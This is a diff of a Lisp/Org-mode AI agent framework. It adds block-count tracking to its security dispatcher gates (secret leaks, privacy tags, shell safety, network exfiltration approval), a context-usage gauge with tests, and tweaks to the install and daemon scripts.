(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(dispatcher-block-record :vault-secrets)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 5: Privacy-tagged content (severity tiers)
((and tags (fboundp 'dispatcher-privacy-severity))
(let ((severity (dispatcher-privacy-severity tags)))
(cond
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(dispatcher-block-record :privacy-tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :warn)
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
action)
@@ -519,36 +552,40 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(log-message "PRIVACY: @tag ~a (logged)" tags)
action))))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(dispatcher-block-record :privacy-text)
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(dispatcher-block-record :shell-safety)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(dispatcher-block-record :network-exfil)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
;; Vector 8b: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(dispatcher-block-record :high-impact-approval)
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
(t action))))
#+end_src
@@ -566,7 +603,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (read-from-string action-str))))
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
@@ -736,6 +773,35 @@ Recognized formats:
:deterministic #'dispatcher-gate)
#+end_src
** v0.8.0 — Block Count Tracking
~*dispatcher-block-counts*~ is a hash table mapping gate keyword to
integer block count. Every blocking decision in ~dispatcher-check~
records the block via ~dispatcher-block-record~. The sidebar's Protection
panel reads the summary via ~dispatcher-block-counts-summary~, called
from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
#+begin_src lisp
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
"Per-gate block count: maps gate keyword → integer.")
(defun dispatcher-block-record (gate-name)
"Records a block decision for GATE-NAME. Returns the updated count."
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
(setf (gethash gate-name *dispatcher-block-counts*) count)
count))
(defun dispatcher-block-counts-summary ()
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
(let* ((by-gate
(loop for k being the hash-keys of *dispatcher-block-counts*
for v = (gethash k *dispatcher-block-counts*)
collect (cons k v)))
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
(list :total total :by-gate sorted)))
#+end_src
* Test Suite
#+begin_src lisp
@@ -837,7 +903,7 @@ Recognized formats:
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(setf (uiop:getenv "TAG_CATEGORIES") nil))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
@@ -904,21 +970,53 @@ Recognized formats:
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(remhash "write-file" passepartout::*cognitive-tool-registry*)))
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))
#+end_src

View File

@@ -95,4 +95,4 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
(permission-set :CapitalTool :deny)
(is (eq :deny (permission-get :capitaltool)))
(permission-set "CapitalTool" nil))
#+end_src
#+end_src

View File

@@ -89,4 +89,4 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
(let* ((action '(:type :REQUEST :payload (:action :read)))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))))
#+end_src
#+end_src

View File

@@ -85,4 +85,4 @@ before they reach any cognitive stage.
(let ((msg '(:payload (:sensor :heartbeat))))
(signals error
(validator-protocol-check msg))))
#+end_src
#+end_src

View File

@@ -103,13 +103,6 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
#+end_src
** Vault Memory (relocated from core-skills)
#+begin_src lisp
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
#+end_src
* Test Suite
#+begin_src lisp

View File

@@ -214,4 +214,4 @@ Called by the time-tick cron job every minute."
(let ((result (passepartout::sensor-time-tick)))
(is (not (null result)))
(is (search "Submit report" result))))
#+end_src
#+end_src

View File

@@ -380,4 +380,4 @@ Verifies that the Foveal-Peripheral rendering correctly distinguishes between fo
(v6 (passepartout::embedding-backend-trigram "banana")))
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
(is (< sim 0.3)))))
#+end_src
#+end_src

View File

@@ -14,6 +14,28 @@ The core provides the mechanism (=memory-object-scope=, =context-query= with
scope parameter). This skill provides the policy — what to focus on, what
scope means for each project, and how the stack is managed.
** Contract
1. (push-context &key project base-path scope): pushes a context plist
onto ~*context-stack*~. Blocks if depth exceeds ~*context-max-depth*~.
2. (pop-context): pops and returns the top context. If the stack would
become empty, inserts a default memex-wide context instead.
3. (current-context): returns the top-of-stack context plist.
4. (current-scope): returns the ~:scope~ keyword from the current context.
5. (current-project): returns the ~:project~ name from the current context.
6. (current-base-path): returns the ~:base-path~ from the current context.
7. (context-stack-depth): returns the number of contexts on the stack.
8. (focus-project name base-path): pushes a new context for the named
project. Sets ~*scope-resolver*~ to return ~:project~.
9. (focus-session): pushes an ephemeral context for the current session.
10. (focus-memex): pushes a global memex-wide context.
11. (unfocus): pops one level from the context stack.
12. (resolve-path path): resolves a path relative to the current base-path.
13. (context-scoped-query &key tag todo-state type): queries memory filtered
by the current context's scope.
14. (context-save): persists the context stack to disk.
15. (context-load): restores the context stack from disk on startup.
* Implementation
** Context Stack
@@ -289,14 +311,6 @@ Also restores any previously saved context stack.
(context-load)
#+end_src
* Contract
1. (push-context &key project base-path scope): pushes a context plist
onto ~*context-stack*~ and persists to disk.
2. (pop-context): pops the top context, persists, returns restored context.
3. (context-save): serializes ~*context-stack*~ to the persistence file.
4. (context-load): restores ~*context-stack*~ from persistence file on boot.
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
@@ -340,4 +354,10 @@ Also restores any previously saved context stack.
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
(ignore-errors (delete-file tmpfile))))))
#+end_src
#+end_src* Contract
1. (push-context &key project base-path scope): pushes a context plist
onto ~*context-stack*~ and persists to disk.
2. (pop-context): pops the top context, persists, returns restored context.
3. (context-save): serializes ~*context-stack*~ to the persistence file.
4. (context-load): restores ~*context-stack*~ from persistence file on boot.

View File

@@ -153,4 +153,4 @@ Falls back to context-query if temporal filtering is not requested."
(let ((range (passepartout::memory-objects-in-range t1 t2)))
(is (= 1 (length range)))
(is (string= "rng-2" (memory-object-id (first range)))))))))
#+end_src
#+end_src

View File

@@ -27,6 +27,19 @@ core-reason thin while enabling token economics as a hot-loadable skill.
Depends on: tokenizer.lisp, cost-tracker.lisp
** v0.8.0 — Context Usage for Sidebar
The sidebar's Context gauge needs a single integer: 0-100 representing
how much of the token budget is consumed. ~context-usage-percentage~
computes this from ~*context-cache*~'s stored token counts and
~CONTEXT_MAX_TOKENS~ (or the model's context limit from ~tokenizer~).
The function is a thin wrapper (~8 lines): read the most recent context
assembly's token count from ~*context-cache*~, divide by the budget,
multiply by 100, clamp to [0, 100]. Called from ~core-act.org~'s ~:tui~
actuator via ~fboundp~ guard. Degrades gracefully to nil when
token-economics is not loaded.
** Contract
1. (prompt-prefix-cached assistant-name identity-content feedback mandates-text tool-belt):
@@ -44,6 +57,10 @@ Depends on: tokenizer.lisp, cost-tracker.lisp
L3: downgrade context to single-line summary
Returns (values trimmed-prefix trimmed-ctxt trimmed-logs trimmed-user trimmed-mandates).
4. (token-economics-initialize): zeroes the cache state at daemon boot.
5. (context-usage-percentage): returns integer 0-100 representing
current token budget consumption from ~*context-cache*~. Clamped.
Returns nil when no context cache data is available. Consumed by
the TUI actuator for the sidebar Context gauge (v0.8.0).
* Implementation
@@ -57,7 +74,9 @@ Depends on: tokenizer.lisp, cost-tracker.lisp
(defvar *prompt-prefix-cache* (cons nil "")
"Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
:identity-tokens 0 :tool-tokens 0 :context-tokens 0
:log-tokens 0 :config-tokens 0 :time-tokens 0)
"Context assembly cache: metadata + last rendered context string.")
#+end_src
@@ -127,7 +146,9 @@ with trimmed sections."
(ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
(labels ((ct (s) (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) s)
(ceiling (length s) 4)))
(total-tokens (p c l u m)
(+ (ct p)
(if c (ct c) 0)
@@ -169,6 +190,25 @@ with trimmed sections."
(getf *context-cache* :rendered) ""))
#+end_src
** Contract 5: context usage percentage (v0.8.0)
#+begin_src lisp
(defun context-usage-percentage ()
"Returns integer 0-100: current token budget consumption.
Returns nil when no context cache data is available."
(let* ((limit (or (ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384))
(tokens (+ (or (getf *context-cache* :identity-tokens) 0)
(or (getf *context-cache* :tool-tokens) 0)
(or (getf *context-cache* :context-tokens) 0)
(or (getf *context-cache* :log-tokens) 0)
(or (getf *context-cache* :config-tokens) 0)
(or (getf *context-cache* :time-tokens) 0))))
(if (> tokens 0)
(min 100 (floor (* 100 tokens) limit))
nil)))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
@@ -269,4 +309,37 @@ with trimmed sections."
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
#+end_src
#+end_src* v0.8.0 Tests Context Usage
#+begin_src lisp
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage
"Contract 5: context-usage-percentage returns integer 0-100."
;; Set up a cache with known token counts
(let* ((ctx passepartout::*context-cache*)
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(setf (getf ctx :identity-tokens) 1000
(getf ctx :tool-tokens) 500
(getf ctx :context-tokens) 2000
(getf ctx :log-tokens) 800
(getf ctx :config-tokens) 200
(getf ctx :time-tokens) 100)
(let ((pct (passepartout::context-usage-percentage)))
(is (integerp pct))
(is (<= 0 pct 100)))))
(test test-context-usage-percentage-empty-cache
"Contract 5: context-usage-percentage returns nil with no cache data."
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
(unwind-protect
(progn
(setf (getf passepartout::*context-cache* :identity-tokens) nil
(getf passepartout::*context-cache* :tool-tokens) nil
(getf passepartout::*context-cache* :context-tokens) nil
(getf passepartout::*context-cache* :log-tokens) nil
(getf passepartout::*context-cache* :config-tokens) nil
(getf passepartout::*context-cache* :time-tokens) nil)
(is (null (passepartout::context-usage-percentage))))
(setf passepartout::*context-cache* saved-ctx))))
#+end_src

View File

@@ -223,4 +223,4 @@ Uses the provider's default model for pricing."
"Contract 1: non-string values are coerced and counted."
(let ((count (count-tokens 12345)))
(is (> count 0))))
#+end_src
#+end_src

View File

@@ -17,7 +17,7 @@ done
export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
export PASSEPARTOUT_CONFIG_DIR="$(realpath -m "${XDG_CONFIG_HOME:-$HOME/.config}/passepartout")"
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")}"
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(if [ -d "$HOME/memex/projects/passepartout/lisp" ]; then realpath -m "$HOME/memex/projects/passepartout"; else realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout"; fi)}"
export PASSEPARTOUT_STATE_DIR="$(realpath -m "${XDG_STATE_HOME:-$HOME/.local/state}/passepartout")"
export PASSEPARTOUT_BIN_DIR="$(realpath -m "${XDG_BIN_HOME:-$HOME/.local/bin}")"
export PASSEPARTOUT_MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
@@ -81,6 +81,9 @@ setup_system() {
esac
done
# Always deploy to XDG, not the dev directory
export PASSEPARTOUT_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")"
echo -e "${BLUE}=== Passepartout: Configure ===${NC}"
mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR"
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
@@ -97,7 +100,9 @@ setup_system() {
fi
echo -e "${YELLOW}--- Deploying Engine to $PASSEPARTOUT_DATA_DIR ---${NC}"
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
if [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ]; then
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
fi
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
export INSTALL_DIR="$PASSEPARTOUT_DATA_DIR"
@@ -106,7 +111,7 @@ setup_system() {
[ -f "$f" ] || continue
fname=$(basename "$f" .org)
echo "Tangling $fname..."
cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
[ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ] && cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
(cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \
--eval "(require 'org)" \
--eval "(setq org-confirm-babel-evaluate nil)" \
@@ -347,19 +352,17 @@ case "$COMMAND" in
--eval '(funcall (find-symbol "DIAGNOSTICS-MAIN" :passepartout))'
fi
;;
daemon)
check_dependencies
# Use the script's directory as the data dir (development mode)
# In production, set PASSEPARTOUT_DATA_DIR to your deployment path
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
daemon)
check_dependencies
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
nohup sbcl --non-interactive \
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
--eval "(ql:quickload :passepartout)" \
--eval "(load (format nil \"~alisp/neuro-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
--eval "(load (format nil \"~alisp/embedding-backends.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
--eval "(load (format nil \"~alisp/neuro-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
--eval '(ql:quickload :passepartout)' \
--eval "(handler-case (load (format nil \"~alisp/neuro-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
--eval "(handler-case (load (format nil \"~alisp/embedding-backends.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
--eval "(handler-case (load (format nil \"~alisp/neuro-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
--eval '(funcall (find-symbol "MAIN" :passepartout))' \
> "$PASSEPARTOUT_STATE_DIR/daemon.log" 2>&1 &
echo "Waiting for port 9105..."
@@ -384,7 +387,7 @@ case "$COMMAND" in
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
--eval '(ql:quickload :passepartout/tui)' \
--eval '(in-package :passepartout)' \
--eval '(handler-bind ((error (lambda (c) (format t "~%CRASH: ~a~%" c) (sb-debug:print-backtrace :count 30 :stream *error-output*) (finish-output) (finish-output *error-output*) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))'
--eval '(handler-bind ((error (lambda (c) (ignore-errors (with-open-file (f (merge-pathnames ".cache/passepartout/tui-crash.log" (user-homedir-pathname)) :direction :output :if-exists :supersede :if-does-not-exist :create) (format f "CRASH: ~a~%~%" c) (sb-debug:print-backtrace :count 50 :stream f) (finish-output f))) (format t "~%=== TUI CRASH ===~%CRASH: ~a~%" c) (format t "Full backtrace saved to ~~/.cache/passepartout/tui-crash.log~~%") (sleep 3) (finish-output) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))'
;;
gateway)
SUBCMD=$1; PLATFORM=$2; TOKEN=$3

View File

@@ -6,7 +6,7 @@
:description "The Probabilistic-Deterministic Lisp Machine"
:depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid)
:serial t
:components ((:file "lisp/core-package")
:components ((:file "lisp/core-package")
(:file "lisp/core-skills")
(:file "lisp/core-transport")
(:file "lisp/core-memory")